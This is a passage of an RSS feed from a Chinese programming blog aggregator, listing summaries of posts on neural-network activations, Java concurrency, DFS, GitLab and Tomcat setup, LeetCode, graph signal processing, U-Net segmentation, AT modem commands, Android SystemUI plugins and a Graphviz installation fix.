      <guid>https://bchobby.github.io/posts/242aca851c35d7e92271a673454ddaa3/</guid>
      <description>sigmoid函数原理及饱和后梯度消失的问题 sigmoid函数结构 sigmoid函数，是神经网络中的一种激活函数，其输出范围在(0,1)之间。主要运动于:&#xA;1、 作为激活函数，利用输出范围(0,1)与其非线性的特点，常用于在神经网络中间层作为激活函数；&#xA;2、在神经网络的最后一层将结果规则化在(0,1)之间。&#xA;sigmoid函数饱和带来的问题 1、 梯度消失&#xA;一种解决方法是在sigmoid层之前加入Batch Normalization层，即进行批规范化处理(BN)，就是对每个神经元的输出进行规范化，使得均值为 0，方差为 1，之后再进入激活函数。但是每一层规范化后，输出就以极大的概率落在靠近中心的区间，这个区域sigmoid的梯度变化很大，也就不存在梯度消失的问题，但是又比较笔直，近似于线性。于是BN引入了新的参数进行学习，对规范化后的输出做一次线性映射，同时对参数进行学习，提高输出落在非线性区间的概率， 使得sigmoid 函数梯度小和线性表达之间做了一个平衡。</description>
    </item>
    <item>
      <title>Java线程池原理分析</title>
      <link>https://bchobby.github.io/posts/45f8b32e8ac94f3cb328a13f30fb6255/</link>
      <pubDate>Sat, 22 Feb 2020 23:08:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45f8b32e8ac94f3cb328a13f30fb6255/</guid>
      <description>并发包 (计数器)CountDownLatch&#xA;CountDownLatch 类位于java.util.concurrent包下，利用它可以实现类似计数器的功能。比如有一个任务A，它要等待其他4个任务执行完毕之后才能执行，此时就可以利用CountDownLatch来实现这种功能了。CountDownLatch是通过一个计数器来实现的，计数器的初始值为线程的数量。每当一个线程完成了自己的任务后，计数器的值就会减1。当计数器值到达0时，它表示所有的线程已经完成了任务，然后在闭锁上等待的线程就可以恢复执行任务。&#xA;public static void main(String[] args) throws InterruptedException { CountDownLatch countDownLatch = new CountDownLatch(2); new Thread(new Runnable() { @Override public void run() { System.out.println(Thread.currentThread().getName() + &#34;,子线程开始执行...&#34;); countDownLatch.countDown(); System.out.println(Thread.currentThread().getName() + &#34;,子线程结束执行...&#34;); } }).start(); new Thread(new Runnable() { @Override public void run() { System.out.println(Thread.currentThread().getName() + &#34;,子线程开始执行...&#34;); countDownLatch.countDown();//计数器值每次减去1 System.out.println(Thread.currentThread().getName() + &#34;,子线程结束执行...&#34;); } }).start(); countDownLatch.await();// 減去为0,恢复任务继续执行 System.out.println(&#34;两个子线程执行完毕....&#34;); System.out.println(&#34;主线程继续执行.....&#34;); for (int i = 0; i &amp;lt;10; i++) { System.out.println(&#34;main,i:&#34;+i); } } (屏障)CyclicBarrier</description>
    </item>
    <item>
      <title>利用深度优先搜索（dfs）来解决迷宫问题</title>
      <link>https://bchobby.github.io/posts/20c9fe205a23c7243e52b289ad552565/</link>
      <pubDate>Sat, 22 Feb 2020 23:06:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20c9fe205a23c7243e52b289ad552565/</guid>
      <description>利用深度优先搜索（dfs）来解决迷宫问题 一.深度优先搜索（dfs） 1.什么叫dfs 深度优先搜索类似于树的先序遍历；&#xA;是利用栈或者递归的方式实现的，体现出了后进先出的特点；&#xA;通俗来说就是一次访问一条路，一直朝着一个方向探索，直到遇到死路退回到前一个分支，继续探索；&#xA;一般来说，深度搜索解决的问题主要为寻求所有解和连通性。&#xA;2.遍历过程 （1）从图中某个初始顶点v出发，首先访问初始顶点v。&#xA;（2）然后依次从v的未被访问的邻接点w，再从w出发进行深度优先遍历，直到图中所有与v有路径相通的的顶点都被访问过为止。&#xA;3.算法设计 解决问题:&#xA;（1）如何确定一个顶点是否访问过？&#xA;设置一个visited[]全局数组，&#xA;visited[i]=0表示顶点i没有访问;&#xA;visited[i]=1表示顶点i已经访问过。&#xA;（在图中也可以修改图本身来实现）&#xA;4.dfs算法模板 void dfs(int s) { if(找到解了) { 相应的操作； return ； } 尝试每一种可能 { if(满足条件) { 标记走过； 进行下一步dfs； 回溯一步；&#x9;//恢复原状态 } } } 二.例题示范 棋盘问题 （1）问题描述：&#xA;在一个给定形状的棋盘（形状可能是不规则的）上面摆放棋子，棋子没有区别。要求摆放时任意的两个棋子不能放在棋盘中的同一行或者同一列，请编程求解对于给定形状和大小的棋盘，摆放k个棋子的所有可行的摆放方案C。&#xA;（2）输入：&#xA;输入含有多组测试数据。&#xA;每组数据的第一行是两个正整数，n k，用一个空格隔开，表示了将在一个n*n的矩阵内描述棋盘，以及摆放棋子的数目。 n &amp;lt;= 8 , k &amp;lt;= n&#xA;当为-1 -1时表示输入结束。&#xA;随后的n行描述了棋盘的形状：每行有n个字符，其中 # 表示棋盘区域， . 表示空白区域（数据保证不出现多余的空白行或者空白列）。&#xA;（3）输出：&#xA;对于每一组数据，给出一行输出，输出摆放的方案数目C （数据保证C&amp;lt;2^31）。&#xA;（4）样例输入：&#xA;2 1&#xA;#.&#xA;.#</description>
    </item>
    <item>
      <title>GitLab服务器搭建以及汉化过程</title>
      <link>https://bchobby.github.io/posts/35dbf534461b23fbe21fc7f4e7516826/</link>
      <pubDate>Sat, 22 Feb 2020 23:01:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35dbf534461b23fbe21fc7f4e7516826/</guid>
      <description>Gitlab简介 GitLab是利用Ruby on Rails一个开源的版本管理系统，实现一个自托管的Git项目仓库，可通过Web界面进行访问公开的或者私人项目。&#xA;与Github类似，GitLab能够浏览源代码，管理缺陷和注释。可以管理团队对仓库的访问，它非常易于浏览提交过的版本并提供一个文件历史库。团队成员可以利用内置的简单聊天程序(Wall)进行交流。&#xA;它还提供一个代码片段收集功能可以轻松实现代码复用，便于日后有需要的时候进行查找。&#xA;Gitlab环境部署 ECS配置要求：内存2G以上&#xA;下载软件包 国内镜像地址：https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/?C=M&amp;amp;O=D&#xA;[root@taoweidong ~]# wget https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-12.6.7-ce.0.el7.x86_64.rpm 安装gitLab [root@taoweidong ~]# rpm -i gitlab-ce-12.6.7-ce.0.el7.x86_64.rpm 修改gitlab配置文件指定服务器ip和自定义端口 [root@taoweidong ~]# vi /etc/gitlab/gitlab.rb 重启gitLab 检查8080端口是否被占用，如果已经被使用需要修改unicon的端口 # 检查端口是否被占用 netstat -anp |grep 端口号 [root@taoweidong ~]# gitlab-ctl reconfigure 重新加载配置文件(耗时较长) [root@taoweidong ~]# gitlab-ctl restart 重新启动 访问：http://192.168.88.128:8888 第一次访问时的页面 这里是让你修改登录密码的地方，输入新密码并且保存后会跳转到登录页面&#xA;登录页面 账户为：root&#xA;密码为：上一个页面修改后的密码&#xA;登录后会进入主页面，如下图&#xA;能进入这里，说明gitLab服务安装成功&#xA;中文配置 高版本的gitLab已经支持中文，可以在设置页面进行设置，进入主页面后&#xA;选择中文简体，点击保存后刷新页面即可切换为中文。&#xA;服务器生成SSH-Key密钥文件 [root@taoweidong ~]# ssh-keygen 查询SSH-key秘钥 配置SSH-key秘钥 使用教程 参考：https://www.cnblogs.com/niuben/p/10867877.html&#xA;参考 gitlab访问错误Whoops问题处理：https://blog.csdn.net/weixin_40816738/article/details/90551565&#xA;安装指南：https://blog.csdn.net/qq_34129814/article/details/100043914&#xA;GitLab简介：https://www.cnblogs.com/niuben/p/10867877.html</description>
    </item>
    <item>
      <title>Java 多线程之间实现通讯</title>
      <link>https://bchobby.github.io/posts/fa02a8439d0461833abff52402adae5c/</link>
      <pubDate>Sat, 22 Feb 2020 23:00:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa02a8439d0461833abff52402adae5c/</guid>
      <description>多线程之间如何实现通讯 什么是多线程之间通讯？&#xA;多线程之间通讯，其实就是多个线程在操作同一个资源，但是操作的动作不同。&#xA;画图演示&#xA;多线程之间通讯需求&#xA;需求:第一个线程写入(input)用户，另一个线程取读取(out)用户.实现读一个，写一个操作。&#xA;代码实现基本实现&#xA;共享资源源实体类&#xA;class Res { public String userSex; public String userName; } 输入线程资源&#xA;class IntThrad extends Thread { private Res res; public IntThrad(Res res) { this.res = res; } @Override public void run() { int count = 0; while (true) { if (count == 0) { res.userName = &#34;余胜军&#34;; res.userSex = &#34;男&#34;; } else { res.userName = &#34;小紅&#34;; res.userSex = &#34;女&#34;; } count = (count + 1) % 2; } } } 输出线程</description>
    </item>
    <item>
      <title>[LeetCode 299,303][简单]猜数字游戏/区域和检索 - 数组不可变</title>
      <link>https://bchobby.github.io/posts/f99f437009148c2d23d888ff69cf51b4/</link>
      <pubDate>Sat, 22 Feb 2020 22:39:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f99f437009148c2d23d888ff69cf51b4/</guid>
      <description> 299.猜数字游戏&#xA;题目链接&#xA;class Solution { public: string getHint(string secret, string guess) { ios::sync_with_stdio(0); cin.tie(0); int a[10]={0},b[10]={0}; int acnt=0,bcnt=0; int sl = secret.size(); for(int i = 1; i &amp;lt;= sl;i++){ if(secret[sl-i]==guess[sl-i])acnt++; else{ a[secret[sl-i]-&#39;0&#39;]++; b[guess[sl-i]-&#39;0&#39;]++; } } for(int i=0;i&amp;lt;10;i++)bcnt+=min(a[i],b[i]); return to_string(acnt)+&#34;A&#34;+to_string(bcnt)+&#34;B&#34;; } }; 303.区域和检索 - 数组不可变&#xA;题目链接&#xA;差分前缀和&#xA;class NumArray { private: vector&amp;lt;int&amp;gt;sum; public: NumArray(vector&amp;lt;int&amp;gt;&amp;amp; nums) { ios::sync_with_stdio(0); cin.tie(0);int flag = 0; sum.emplace_back(0); for(int i:nums){ flag += i; sum.emplace_back(flag); } } int sumRange(int i, int j) { return sum[j+1]-sum[i]; } }; </description>
    </item>
    <item>
      <title>python 四则混合运算计算器</title>
      <link>https://bchobby.github.io/posts/6abb9dd7f915d226876ba43fdbb3dd84/</link>
      <pubDate>Sat, 22 Feb 2020 21:00:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6abb9dd7f915d226876ba43fdbb3dd84/</guid>
      <description>python 四则混合运算计算器 思路:(1)获取一个运算公式(四则混合)&#xA;(2)对获取的公式进行处理,因为Input获取的是字符串形式,这里处&#xA;理时将之转换成列表,并对其中包含的多位数进行处理.见DealFormula函数&#xA;(3)对处理后返回的计算式列以此进行先乘除后加减操作得到最终结果&#xA;附:这里的函数Fun_Mul,Fun_Div,Fun_Sub个人感觉能进行更适当的处理,&#xA;但由于水平问题,这里并没有进行优化,希望浏览的大神们能给出建议&amp;gt;&#xA;import time#获取程序运行时间 start = time.clock() class Calculator(object): &#39;&#39;&#39;这是一个四则混合运算计算器&#39;&#39;&#39; def __init__(self): self.name = Calculator self.formula=input(&#39;Please input formula:&#39;).strip()#让用户输入公式 self.formula_list=[]#定以一个空列表 def Fun_Mul(self): #计算公式中所有乘法运算 i=0 while i&amp;lt;len(self.formula_list): if self.formula_list[i] == &#39;*&#39; and (i+2)!=len(self.formula_list): Sum=int(self.formula_list[i-1])*int(self.formula_list[i+1]) self.formula_list[(i-1):(i+2)]=[Sum] i=i-2 elif self.formula_list[i] == &#39;*&#39; and (i+2)==len(self.formula_list): Sum=int(self.formula_list[i-1])*int(self.formula_list[i+1]) self.formula_list[(i-1):]=[Sum] else: i=i+1 def Fun_Div(self): #计算公式中所有除法运算 i=0 while i&amp;lt;len(self.formula_list): if self.formula_list[i] == &#39;/&#39; and (i+2)!=len(self.formula_list): Sum=int(self.formula_list[i-1])//int(self.formula_list[i+1]) self.formula_list[(i-1):(i+2)]=[Sum] i=i-2 elif self.formula_list[i] == &#39;/&#39; and (i+2)==len(self.</description>
    </item>
    <item>
      <title>tomcat8 升级至apache-tomcat-9.0.31， Connector / AJP 配置报错问题</title>
      <link>https://bchobby.github.io/posts/e47e5adeaa29f712a734a74aebbd6822/</link>
      <pubDate>Sat, 22 Feb 2020 17:39:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e47e5adeaa29f712a734a74aebbd6822/</guid>
      <description>直接贴tomcat8中的 server.xml 关键配置&#xA;&amp;lt;Service name=&#34;insuranceMall&#34;&amp;gt; &amp;lt;Connector port=&#34;6666&#34; protocol=&#34;HTTP/1.1&#34; connectionTimeout=&#34;20000&#34; redirectPort=&#34;8443&#34; /&amp;gt; &amp;lt;Connector port=&#34;6667&#34; protocol=&#34;AJP/1.3&#34; redirectPort=&#34;8443&#34; /&amp;gt; &amp;lt;Engine name=&#34;insuranceMall&#34; defaultHost=&#34;localhost&#34;&amp;gt; &amp;lt;Realm className=&#34;org.apache.catalina.realm.LockOutRealm&#34;&amp;gt; &amp;lt;Realm className=&#34;org.apache.catalina.realm.UserDatabaseRealm&#34; resourceName=&#34;UserDatabase&#34;/&amp;gt; &amp;lt;/Realm&amp;gt; &amp;lt;Host name=&#34;localhost&#34; appBase=&#34;webapps&#34; unpackWARs=&#34;true&#34; autoDeploy=&#34;true&#34;&amp;gt; &amp;lt;Context docBase=&#34;/data/project/insurance-mall&#34; path=&#34;&#34; reloadable=&#34;false&#34; /&amp;gt; &amp;lt;Valve className=&#34;org.apache.catalina.valves.AccessLogValve&#34; directory=&#34;/var/log/tomcat9&#34; prefix=&#34;localhost_access_log_insuranceMall&#34; suffix=&#34;.txt&#34; pattern=&#34;%h %l %u %t &amp;amp;quot;%r&amp;amp;quot; %s %b&#34; /&amp;gt; &amp;lt;/Host&amp;gt; &amp;lt;/Engine&amp;gt; &amp;lt;/Service&amp;gt; 同样在tomcat9 启动过程报错如下&#xA;22-Feb-2020 17:26:27.854 SEVERE [main] org.apache.catalina.util.LifecycleBase.handleSubClassException Failed to start component [Connector[AJP/1.3-6667]] org.apache.catalina.LifecycleException: Protocol handler start failed at org.</description>
    </item>
    <item>
      <title>图神经网络学习笔记（1）——图信号与图傅里叶变换</title>
      <link>https://bchobby.github.io/posts/d6264d0e7b64e39ba191ff07f65fae28/</link>
      <pubDate>Sat, 22 Feb 2020 17:21:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6264d0e7b64e39ba191ff07f65fae28/</guid>
      <description>本文参考书目为《深入浅出图神经网络：GNN原理解析》&#xA;什么是图数据？ 在计算机科学中，图数据是一种十分常见的数据结构（参考离散数学、数据结构等学科）。从数据角度出发，图被广泛用以描述、建模关系型数据，例如：社交网络、交通网络等。数学上，图由顶点（Vertex）及连接顶点的边（Edge）构成，即图可以表示为顶点和边的集合，记为G=(V,E)，其中V为顶点集，E为边集。图的一些概念，如：邻接矩阵、度、连通性、有向（无向）等在此不做详细介绍。&#xA;图信号与图拉普拉斯矩阵 与离散时间信号不同，图信号定义在节点上，节点存在固有的关联结构，图数据处理（Graph Signal Processing, GSP）在考虑节点上信号强度的同时，还应考虑图节点之间的拓扑关系（即图上节点之间的关联）。&#xA;以下给出图信号定义：给定图G=(V,E)，V为节点集合，长度为N，图信号是一种描述V→R的映射，向量表示：&#xA;每个x代表对应下标的节点上的信号强度，如下图所示。&#xA;介绍完图信号，要介绍一个研究图结构性质十分重要的工具——拉普拉斯矩阵。&#xA;图的拉普拉斯矩阵定义如下：（图源：百度百科）&#xA;由定义知，A为图的邻接矩阵，D为对角矩阵是图的度矩阵，单一节点上定义如下：&#xA;元素级别定义如下（下两张图源：图信号处理学习笔记（1）：图信号基本知识及其变换）&#xA;也可以对拉普拉斯矩阵元素进行标准化：&#xA;拉普拉斯矩阵就简要介绍到此，附上百度百科拉普拉斯矩阵定义及性质链接拉普拉斯矩阵_百度百科&#xA;拉普拉斯算子 拉普拉斯矩阵定义来源于拉普拉斯算子，该算子是n维欧式空间中的一个二阶微分算子，定义为梯度的散度（图源百度百科）：&#xA;给出一阶离散函数导数计算公式（图源：拉普拉斯算子）&#xA;将该算子作用域退化到离散二维图像空间，就是边缘检测算子，示例见下图：&#xA;原理如下：&#xA;在图信号中，拉普拉斯算子描述了中心节点与邻居节点之间的信号差异。&#xA;结论：拉普拉斯矩阵就是图上的拉普拉斯算子，或者说是离散的拉普拉斯算子。拉普拉斯矩阵与拉普拉斯算子的关系&#xA;傅里叶变换 传统的傅里叶变换将信号从时域空间转化到了频域空间，表示能将满足一定条件的某个函数表示成三角函数（正弦和/或余弦函数）或者它们的积分的线性组合。（图源：傅里叶变换有什么用？_百度知道）&#xA;傅里叶变换公式及逆傅里叶变换公式如下图所示：&#xA;以声音信号为例，对输入的声音信号进行傅里叶变换，将其转化到频域中，则可以在频域中对不同特征频率的声音信号进行不同的处理，如提高频率、降噪等操作。&#xA;举个比较好理解的例子，电脑、智能手机上都不乏有声音处理软件，通过你输入的声音信号，电脑和智能手机通过其强大的计算能力在极短时间内把你的声音做傅里叶变换，把特定频段频率增加，就可以很轻松地完成男声到女声的转变。网络一线牵，“珍惜”这段缘。&#xA;傅里叶变换也广泛应用于数字图像处理，这里就不展开了。&#xA;图傅里叶变换 类比傅里叶变化，图傅里叶变换对于图信号的处理，也体现在将其从空域转化到频域。&#xA;由于图的拉普拉斯矩阵L是实对称矩阵，都可以被正交对角化，即：&#xA;式中V是一个N阶正交矩阵，即：&#xA;V中N个元素表示L的N个特征向量，由于V是正交矩阵，所以其N个特性向量彼此线性无关，λ是特征值组成的矩阵，且特征值矩阵中的元素升序排列，即：&#xA;由此定义图傅里叶变换（Graph Fourier Transform, GFT）:对于任意一个图G上的信号x，其傅里叶变换为：&#xA;特征向量为傅里叶基，等式左侧是x在第k个傅里叶基上的傅里叶系数，本质上，傅里叶系数是图信号在傅里叶基上的投影，衡量了二者之间的相似度。矩阵形式计算所有傅里叶系数公式如下：&#xA;类比于逆傅里叶变换，给出逆图傅里叶变换（Inverse Graph Fourier Transform, IGFT）：&#xA;图傅里叶变换与图信号频率之间的关系 用以描述各条边上信号的差值进行加和，刻画图信号整体平滑度的标量称之为总变差，表达式如下：&#xA;根据图傅里叶变换表达式改写总变差表达式，如下：&#xA;由表达式可知，总变差与特征值之间存在非常直接的线性关系，总变差是所有特征值的一个线性组合，其权重是图信号所对应的傅里叶系数的平方。总变差衡量图信号整体平滑度，可将特征值等价于频率，特征值越低，频率越低，相近节点信号趋于一致；频率越高，相近节点上信号差异越大。&#xA;图信号所有傅里叶系数合称图信号的频谱。&#xA;本文为《深入浅出图神经网络：GNN原理解析》的一篇学习笔记，书中出现的一些概念、定义，不是特别明白的就参考了各方资料（百度百科、CSDN博客、知乎等），仅作为学习分享。&#xA;后续还会继续分享图神经网络相关内容，欢迎各位批评指正。</description>
    </item>
    <item>
      <title>Unet:实现多通道输入的医学图像分割</title>
      <link>https://bchobby.github.io/posts/0a7e5b4e38ba8d8a4e2392b1d5717e5e/</link>
      <pubDate>Fri, 21 Feb 2020 17:47:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a7e5b4e38ba8d8a4e2392b1d5717e5e/</guid>
      <description>前言： 作为一个小白加入实验室后寒假需要自己动手搭建一个神经网络来完成脑部肿瘤的分割识别，网上几个阅读量比较大的博客都讲的比较详细，但是发现基本上都是灰度图输入，灰度图输出，而我的数据集为彩色图片要输出二值化（黑白）预测图片，而且很多的博客代码运行会有很多问题，通过学习了几个博主的博客和研究了几份代码之后完成自己的第一个完整图像分割编写，这边文章主要是针对彩图数据集输入，二分类，输出黑白图片来表示分割，这里参考的博主的博客如下：&#xA;主要结构：&#xA;U-net：运行你的第一个U-net进行图像分割&#xA;U-net入门--纠错过程&#xA;因为这里的网络我更改并适用于我的数据集并不能很好的运行，通过几天的调试发现问题还是在网络中，但是因为网络是黑盒运行，我也没有太好的解决方法，所以把网络结构更改为api调用，运行结构不错。&#xA;unet模型部分的api调用参考：&#xA;全卷积神经网络FCN模型Unet 图像分割项目实践&#xA;建议： 因为我的代码主要基于第一个链接的博客进行改动，所以建议先下载该博主的github代码，并阅读纠错过程先对部分进行改动，然后先尝试自行分析代码，如果是小白切记不要心浮气躁，不然代码一行都读不进去....（个人经验），如果实在读不懂，再来对比看我的分析与改动，这样至少都代码有一定熟悉度&#xA;数据处理： # 创建训练数据 def create_train_data(self): i = 0 print(&#39;-&#39;*30) print(&#39;Creating training images...&#39;) print(&#39;-&#39;*30) imgs = glob.glob(self.data_path+&#34;/*.&#34;+self.img_type) imgs.sort(key=lambda x: int(x.split(&#39;/&#39;)[3][:-4])) print(len(imgs)) imgdatas = np.ndarray((len(imgs),self.out_rows,self.out_cols,3), dtype=np.uint8) imglabels = np.ndarray((len(imgs),self.out_rows,self.out_cols,1), dtype=np.uint8) for imgname in imgs: midname = imgname[imgname.rindex(&#34;/&#34;)+1:] img = load_img(self.data_path + &#34;/&#34; + midname, color_mode=&#39;rgb&#39;) label = load_img(self.label_path + &#34;/&#34; + midname, grayscale=True) img = img_to_array(img) label = img_to_array(label) imgdatas[i] = img imglabels[i] = label if i % 100 == 0: print(&#39;Done: {0}/{1} images&#39;.</description>
    </item>
    <item>
      <title>shiro权限异常Wildcard string cannot be null or empty</title>
      <link>https://bchobby.github.io/posts/12465dd4aae757409d8ed13e0cc2c6e6/</link>
      <pubDate>Fri, 21 Feb 2020 15:15:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12465dd4aae757409d8ed13e0cc2c6e6/</guid>
      <description>java.lang.IllegalArgumentException: Wildcard string cannot be null or empty. Make sure permission strings are properly formatted.at org.apache.shiro.authz.permission.WildcardPermission.setParts(WildcardPermission.java:155)&#xA;at org.apache.shiro.authz.permission.WildcardPermission.&amp;lt;init&amp;gt;(WildcardPermission.java:144)&#xA;at org.apache.shiro.authz.permission.WildcardPermission.&amp;lt;init&amp;gt;(WildcardPermission.java:140)&#xA;at org.apache.shiro.authz.permission.WildcardPermissionResolver.resolvePermission(WildcardPermissionResolver.java:41)&#xA;at org.apache.shiro.realm.AuthorizingRealm.resolvePermissions(AuthorizingRealm.java:434)&#xA;at org.apache.shiro.realm.AuthorizingRealm.getPermissions(AuthorizingRealm.java:410)&#xA;at org.apache.shiro.realm.AuthorizingRealm.isPermitted(AuthorizingRealm.java:468)&#xA;at org.apache.shiro.realm.AuthorizingRealm.isPermitted(AuthorizingRealm.java:463)&#xA;通配符不能为null或空 是什么？？ 解决思路，&#xA;debug发现，没有获取到相应的权限，获取的用户权限为空数组。&#xA;去把sql拷下来，查询 发现有数据。。但是有一条数据为null；&#xA;继续分析sql，发现是分配了两个角色。但有一个角色没有分配任何权限导致查出来为null，把用户角色改为只有一个且有权限这个。。。再次测试。通过。！！</description>
    </item>
    <item>
      <title>AT指令表(中文详解）</title>
      <link>https://bchobby.github.io/posts/b9539ecdd82dc34bb7ef7e01125645e6/</link>
      <pubDate>Fri, 21 Feb 2020 13:45:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9539ecdd82dc34bb7ef7e01125645e6/</guid>
      <description>一 ． 一 般 命 令&#xA;1．AT+CGMI 给出模块厂商的标识。&#xA;2．AT+CGMM 获得模块标识。这个命令用来得到支持的频带（GSM 900，DCS 1800 或PCS 1900）。当&#xA;模块有多频带时，回应可能是不同频带的结合。&#xA;3．AT+CGMR 获得模块的软件版本。&#xA;4．AT+CGSN 获得 GSM 模块的 IMEI（国际移动设备标识）序列号。&#xA;5．AT+CSCS 选择TE 特征设定。这个命令报告TE 用的是哪个状态设定上的 ME。&#xA;ME于是可以转换每一个输入的或显示的字母。这个是用来发送.读取或者撰写短信。&#xA;6．AT+WPCS 设定电话簿状态。这个特殊的命令报告通过 TE 电话簿所用的状态的 ME。&#xA;ME于是可以转换每一个输入的或者显示的字符串字母。这个用来读或者写电话簿的入口。&#xA;7．AT+CIMI 获得 IMSI。这命令用来读取或者识别 SIM 卡的IMSI (国际移动签署者标识）。 在读取&#xA;IMSI 之前应该先输入 PIN（如果需要 PIN 的话）码。&#xA;8．AT+CCID 获得 SIM 卡的标识。这个命令使模块读取 SIM卡上的 EF-CCID 文件。&#xA;9．AT+GCAP 获得能力表。（支持的功能）&#xA;10．A/ 重复上次命令。只有 A/ 命令不能重复。这命令重复前一个执行的命令。&#xA;11．AT+CPOF 关机。这个特殊的命令停止 GSM 软件堆栈和硬件层。命令 AT+CFUN=0 的功能&#xA;与+CPOF 相同。&#xA;12．AT+CFUN 设定电话机能。这个命令选择移动站点的机能水平。</description>
    </item>
    <item>
      <title>AndroidQ SystemUI之插件化机制Plugin</title>
      <link>https://bchobby.github.io/posts/c6f047ae4ae04a087566ccd6b7d7bfae/</link>
      <pubDate>Thu, 20 Feb 2020 18:36:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6f047ae4ae04a087566ccd6b7d7bfae/</guid>
      <description>这篇文章接着上一篇SystemUI之启动未分析完的SystemUI插件化机制相关的代码&#xA;SystemUI插件 SystemUI插件提供了一种快速创建SystemUI功能原型的简便方法，可以在运行时更改SystemUI的行为。 通过创建插件实现SysUI中使用的一组基本接口来完成，然后可以比当前更快的速度迭代由该接口控制的部分代码。&#xA;简单来说就是可以快速替换SystemUI原有的组件，也叫hook，我们就来分析下其中的原理&#xA;SystemUIApplication.startServicesIfNeeded private void startServicesIfNeeded(String[] services) { //省略上一篇文章分析过的代码 ..... Dependency.get(InitController.class).executePostInitTasks(); log.traceEnd(); final Handler mainHandler = new Handler(Looper.getMainLooper()); //调用addPluginListener传入了三个参数，PluginListener， //OverlayPlugin.class，和一个boolean值true Dependency.get(PluginManager.class).addPluginListener( new PluginListener&amp;lt;OverlayPlugin&amp;gt;() { private ArraySet&amp;lt;OverlayPlugin&amp;gt; mOverlays = new ArraySet&amp;lt;&amp;gt;(); @Override public void onPluginConnected(OverlayPlugin plugin, Context pluginContext) { mainHandler.post(new Runnable() { @Override public void run() { StatusBar statusBar = getComponent(StatusBar.class); if (statusBar != null) { plugin.setup(statusBar.getStatusBarWindow(), statusBar.getNavigationBarView(), new Callback(plugin)); } } }); } @Override public void onPluginDisconnected(OverlayPlugin plugin) { mainHandler.</description>
    </item>
    <item>
      <title>逻辑英语公式R1&#43;R2</title>
      <link>https://bchobby.github.io/posts/3c1645b3540f1111e9801b7b9e2baa10/</link>
      <pubDate>Thu, 20 Feb 2020 09:44:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c1645b3540f1111e9801b7b9e2baa10/</guid>
      <description>一、主谓宾 1.1、主语 一般是名词，一般是动作的发出者，或者是被描述的对象&#xA;1.2、宾语 一般也是名词，一般是主语作用到的对象。&#xA;1.3、谓语 如果没有谓语那么这个世界就是静态，谓语就是来让这个主语和谓语产生关系。&#xA;常见的是动词&#xA;1.4、定语 定语一般形容词比较多，比如 “我喜欢美丽的她”。 这个美丽的就是定语，用来形容主语和宾语的。&#xA;1.5、状语 比如时间状语，条件状语&#xA;“在今天晚上，我打游戏了”。 这个 在今天晚上就是状语。&#xA;二、英文最小结构 2.1、主谓宾 我买了个表&#xA;2.2、主系表 她是个女孩。&#xA;他看起来很高&#xA;系： 就是 “是”的意思&#xA;表： 什么样子 大部分是形容词&#xA;系动词： 动词里面含有 是 含义的&#xA;she looks tall&#xA;2.3、主谓 she died&#xA;有时候可以省略主语比如 (you) come on&#xA;2.4、省略主语的情况 2.4.1、表达有的情况 中文：地上有100块钱 【没有主语】&#xA;英文：there is one hundred money.&#xA;2.4.2、主语无法确定 中文：今天下雨&#xA;英文：it rains&#xA;2.5、省略谓语的情况 中文:他很好&#xA;省略了谓语 “是”&#xA;2.6、省略关联词 中文：山无棱天地和 才敢与君绝&#xA;除非。。。 才敢&#xA;如果。。。你&#xA;2.6、省略主被动关系 中文：我的英语是体育老师教的&#xA;英文：我的英语是被体育老师教的</description>
    </item>
    <item>
      <title>pydotplus.graphviz.InvocationException:GraphViz&#39;s executables not found 解决方案</title>
      <link>https://bchobby.github.io/posts/44e45d9bc2bf85017ace3400c5745cba/</link>
      <pubDate>Wed, 19 Feb 2020 17:59:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44e45d9bc2bf85017ace3400c5745cba/</guid>
      <description> 问题产生说明：&#xA;我在生成树可视化中，为了将生成树保存为pdf格式的文档。应用了如下代码，运行之后报错。&#xA;graph = pydotplus.graph_from_dot_data(dot_data) graph.write_pdf(decision_tree_path) 原因是这个工具不仅需要安装pydotplus这个python包，还需要安装Graphviz这个python tool 这个独立的软件才行。&#xA;本人是在windows环境下运行。以下方法都是基于windows环境。&#xA;解决办法：&#xA;1 确保环境中安装了 pydotplus，GraphViz 这两个模块，如果这两个python包已经成功安装，就可以跳过1中的下面步骤了。&#xA;如果没有安装这两个模块按照如下命令安装： pip install pydotplus&#xA;pip install graphviz&#xA;如果安装了anaconda并且本程序应用的也是anaocnda的环境，需要在anaconda环境下安装，按照如下命令安装： conda install pydotplus&#xA;conda install graphviz&#xA;我是安装了anaconda的虚拟环境，然后pycharm的base环境也是这anaconda的虚拟环境。还有一种方法也是在pycharm下能够安装。也是我这次应用的安装方法。 以上两张图片是展示我pycharm用anaconda的环境作为python代码的运行环境。&#xA;（1）点击上图中+ （2）搜索pydotplus 这个python安装包 （3）处有如下显示就说明安装成功了。&#xA;以上三种方式也可以用来别的python安装包。&#xA;2 虽然安装了这两个安装包，但是运行的时候还是报同样的错误。原来只安装graphviz这个python包还不够，还得需要安装GraphViz’s executables。Graphviz不是一个python tool，它是一个独立的软件。可以按照如下方法安装。&#xA;Graphviz的安装地址请戳下面：&#xA;http://www.graphviz.org/&#xA;下面上图！！&#xA;点击Download 下载windows版本 选择.msi文件，然后逐步安装。 3 配置环境变量&#xA;因为我们在2步骤中下载的软件是一个独立的软件，并不像我们平时用pip下载的python包一样直接下载到环境变量路径下。所以我们在执行python程序的时候仍然是找不到这个软件。所以接下来要将graphviz安装目录下的bin文件夹添加到Path环境变量中。这样我们在执行python程序的时候就会去添加的路径下去找它。&#xA;首先要记住bin文件的安装路径，并且复制下来。找到windows下添加环境变量的地方。下面上图！！ 我的电脑---鼠标右键-----属性，就可以看见下图。然后点击高级系统设置。&#xA;依次选择高级---环境变量 